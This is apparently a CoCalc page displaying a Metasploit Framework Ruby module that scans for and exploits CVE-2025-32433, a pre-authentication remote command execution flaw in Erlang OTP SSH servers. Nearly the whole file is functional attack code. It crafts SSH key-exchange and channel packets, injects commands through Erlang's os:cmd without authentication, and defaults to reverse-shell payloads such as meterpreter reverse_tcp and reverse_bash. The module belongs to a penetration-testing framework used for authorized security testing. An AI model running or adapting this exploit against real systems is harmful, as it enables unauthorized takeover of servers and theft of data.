Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/ssh/ssh_erlangotp_rce.rb
31955 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
require 'hrr_rb_ssh/message/090_ssh_msg_channel_open'
6
require 'hrr_rb_ssh/message/098_ssh_msg_channel_request'
7
require 'hrr_rb_ssh/message/020_ssh_msg_kexinit'
8
9
class MetasploitModule < Msf::Exploit::Remote
10
Rank = ExcellentRanking
11
12
prepend Msf::Exploit::Remote::AutoCheck
13
include Msf::Exploit::Remote::Tcp
14
include Msf::Auxiliary::Report
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Erlang OTP Pre-Auth RCE Scanner and Exploit',
21
'Description' => %q{
22
This module detect and exploits CVE-2025-32433, a pre-authentication vulnerability in Erlang-based SSH
23
servers that allows remote command execution. By sending crafted SSH packets, it executes a payload to
24
establish a reverse shell on the target system.
25
26
The exploit leverages a flaw in the SSH protocol handling to execute commands via the Erlang `os:cmd`
27
function without requiring authentication.
28
},
29
'License' => MSF_LICENSE,
30
'Author' => [
31
'Horizon3 Attack Team',
32
'Matt Keeley', # PoC
33
'Martin Kristiansen', # PoC
34
'mekhalleh (RAMELLA Sebastien)' # module author powered by EXA Reunion (https://www.exa.re/)
35
],
36
'References' => [
37
['CVE', '2025-32433'],
38
['URL', 'https://x.com/Horizon3Attack/status/1912945580902334793'],
39
['URL', 'https://platformsecurity.com/blog/CVE-2025-32433-poc'],
40
['URL', 'https://github.com/ProDefense/CVE-2025-32433']
41
],
42
'Targets' => [
43
[
44
'Linux Command', {
45
'Platform' => 'linux',
46
'Arch' => ARCH_CMD,
47
'Type' => :linux_cmd,
48
'DefaultOptions' => {
49
'PAYLOAD' => 'cmd/linux/https/x64/meterpreter/reverse_tcp'
50
# cmd/linux/http/aarch64/meterpreter/reverse_tcp has also been tested successfully with this module.
51
}
52
}
53
],
54
[
55
'Unix Command', {
56
'Platform' => 'unix',
57
'Arch' => ARCH_CMD,
58
'Type' => :unix_cmd,
59
'DefaultOptions' => {
60
'PAYLOAD' => 'cmd/unix/reverse_bash'
61
}
62
}
63
]
64
],
65
'Privileged' => true,
66
'DisclosureDate' => '2025-04-16',
67
'DefaultTarget' => 0,
68
'Notes' => {
69
'Stability' => [CRASH_SAFE],
70
'Reliability' => [REPEATABLE_SESSION],
71
'SideEffects' => [IOC_IN_LOGS]
72
}
73
)
74
)
75
76
register_options([
77
Opt::RPORT(22),
78
OptString.new('SSH_IDENT', [true, 'SSH client identification string sent to the server', 'SSH-2.0-OpenSSH_8.9'])
79
])
80
end
81
82
# builds SSH_MSG_CHANNEL_OPEN for session
83
def build_channel_open(channel_id)
84
msg = HrrRbSsh::Message::SSH_MSG_CHANNEL_OPEN.new
85
payload = {
86
'message number': HrrRbSsh::Message::SSH_MSG_CHANNEL_OPEN::VALUE,
87
'channel type': 'session',
88
'sender channel': channel_id,
89
'initial window size': 0x68000,
90
'maximum packet size': 0x10000
91
}
92
msg.encode(payload)
93
end
94
95
# builds SSH_MSG_CHANNEL_REQUEST with 'exec' payload
96
def build_channel_request(channel_id, command)
97
msg = HrrRbSsh::Message::SSH_MSG_CHANNEL_REQUEST.new
98
payload = {
99
'message number': HrrRbSsh::Message::SSH_MSG_CHANNEL_REQUEST::VALUE,
100
'recipient channel': channel_id,
101
'request type': 'exec',
102
'want reply': true,
103
command: "os:cmd(\"#{command}\")."
104
}
105
msg.encode(payload)
106
end
107
108
# builds a minimal but valid SSH_MSG_KEXINIT packet
109
def build_kexinit
110
msg = HrrRbSsh::Message::SSH_MSG_KEXINIT.new
111
payload = {}
112
payload[:"message number"] = HrrRbSsh::Message::SSH_MSG_KEXINIT::VALUE
113
# The definition for SSH_MSG_KEXINIT in 020_ssh_msg_kexinit.rb expects each cookie byte to be its own field. The
114
# encode method expects a hash and so we need to duplicate the "cookie (random byte)" key in the hash 16 times.
115
16.times do
116
payload[:"cookie (random byte)".dup] = SecureRandom.random_bytes(1).unpack1('C')
117
end
118
payload[:kex_algorithms] = ['curve25519-sha256', 'ecdh-sha2-nistp256', 'diffie-hellman-group-exchange-sha256', 'diffie-hellman-group14-sha256']
119
payload[:server_host_key_algorithms] = ['rsa-sha2-256', 'rsa-sha2-512']
120
payload[:encryption_algorithms_client_to_server] = ['aes128-ctr']
121
payload[:encryption_algorithms_server_to_client] = ['aes128-ctr']
122
payload[:mac_algorithms_client_to_server] = ['hmac-sha1']
123
payload[:mac_algorithms_server_to_client] = ['hmac-sha1']
124
payload[:compression_algorithms_client_to_server] = ['none']
125
payload[:compression_algorithms_server_to_client] = ['none']
126
payload[:languages_client_to_server] = []
127
payload[:languages_server_to_client] = []
128
payload[:first_kex_packet_follows] = false
129
payload[:"0 (reserved for future extension)"] = 0
130
msg.encode(payload)
131
end
132
133
# formats a list of names into an SSH-compatible string (comma-separated)
134
def name_list(names)
135
string_payload(names.join(','))
136
end
137
138
# pads a packet to match SSH framing
139
def pad_packet(payload, block_size)
140
min_padding = 4
141
payload_length = payload.length
142
padding_len = block_size - ((payload_length + 5) % block_size)
143
padding_len += block_size if padding_len < min_padding
144
[(payload_length + 1 + padding_len)].pack('N') +
145
[padding_len].pack('C') +
146
payload +
147
"\x00" * padding_len
148
end
149
150
# helper to format SSH string (4-byte length + bytes)
151
def string_payload(str)
152
s_bytes = str.encode('utf-8')
153
[s_bytes.length].pack('N') + s_bytes
154
end
155
156
def check
157
print_status('Starting scanner for CVE-2025-32433')
158
159
connect
160
sock.put("#{datastore['SSH_IDENT']}\r\n")
161
banner = sock.get_once(1024, 10)
162
unless banner
163
return Exploit::CheckCode::Unknown('No banner received')
164
end
165
166
unless banner.to_s.downcase.include?('erlang')
167
return Exploit::CheckCode::Safe("Not an Erlang SSH service: #{banner.strip}")
168
end
169
170
sleep(0.5)
171
172
print_status('Sending SSH_MSG_KEXINIT...')
173
kex_packet = build_kexinit
174
sock.put(pad_packet(kex_packet, 8))
175
sleep(0.5)
176
177
response = sock.get_once(1024, 5)
178
unless response
179
return Exploit::CheckCode::Detected("Detected Erlang SSH service: #{banner.strip}, but no response to KEXINIT")
180
end
181
182
print_status('Sending SSH_MSG_CHANNEL_OPEN...')
183
chan_open = build_channel_open(0)
184
sock.put(pad_packet(chan_open, 8))
185
sleep(0.5)
186
187
print_status('Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...')
188
chan_req = build_channel_request(0, Rex::Text.rand_text_alpha(rand(4..8)).to_s)
189
sock.put(pad_packet(chan_req, 8))
190
sleep(0.5)
191
192
begin
193
sock.get_once(1024, 5)
194
rescue EOFError, Errno::ECONNRESET
195
return Exploit::CheckCode::Safe('The target is not vulnerable to CVE-2025-32433.')
196
end
197
sock.close
198
199
report_vuln(
200
host: datastore['RHOST'],
201
name: name,
202
refs: references,
203
info: 'The target is vulnerable to CVE-2025-32433.'
204
)
205
Exploit::CheckCode::Vulnerable
206
rescue Rex::ConnectionError
207
Exploit::CheckCode::Unknown('Failed to connect to the target')
208
rescue Rex::TimeoutError
209
Exploit::CheckCode::Unknown('Connection timed out')
210
ensure
211
disconnect unless sock.nil?
212
end
213
214
def exploit
215
print_status('Starting exploit for CVE-2025-32433')
216
connect
217
sock.put("SSH-2.0-OpenSSH_8.9\r\n")
218
banner = sock.get_once(1024)
219
if banner
220
print_good("Received banner: #{banner.strip}")
221
else
222
fail_with(Failure::Unknown, 'No banner received')
223
end
224
sleep(0.5)
225
226
print_status('Sending SSH_MSG_KEXINIT...')
227
kex_packet = build_kexinit
228
sock.put(pad_packet(kex_packet, 8))
229
sleep(0.5)
230
231
print_status('Sending SSH_MSG_CHANNEL_OPEN...')
232
chan_open = build_channel_open(0)
233
sock.put(pad_packet(chan_open, 8))
234
sleep(0.5)
235
236
print_status('Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...')
237
chan_req = build_channel_request(0, payload.encoded)
238
sock.put(pad_packet(chan_req, 8))
239
240
begin
241
response = sock.get_once(1024, 5)
242
if response
243
print_status('Packets sent successfully and receive response from the server')
244
245
hex_response = response.unpack('H*').first
246
vprint_status("Received response: #{hex_response}")
247
248
if hex_response.start_with?('000003')
249
print_good('Payload executed successfully')
250
else
251
print_error('Payload execution failed')
252
end
253
end
254
rescue EOFError, Errno::ECONNRESET
255
print_error('Payload execution failed')
256
rescue Rex::TimeoutError
257
print_error('Connection timed out')
258
end
259
260
sock.close
261
rescue Rex::ConnectionError
262
fail_with(Failure::Unreachable, 'Failed to connect to the target')
263
rescue Rex::TimeoutError
264
fail_with(Failure::TimeoutExpired, 'Connection timed out')
265
rescue StandardError => e
266
fail_with(Failure::Unknown, "Error: #{e.message}")
267
end
268
269
end
270
271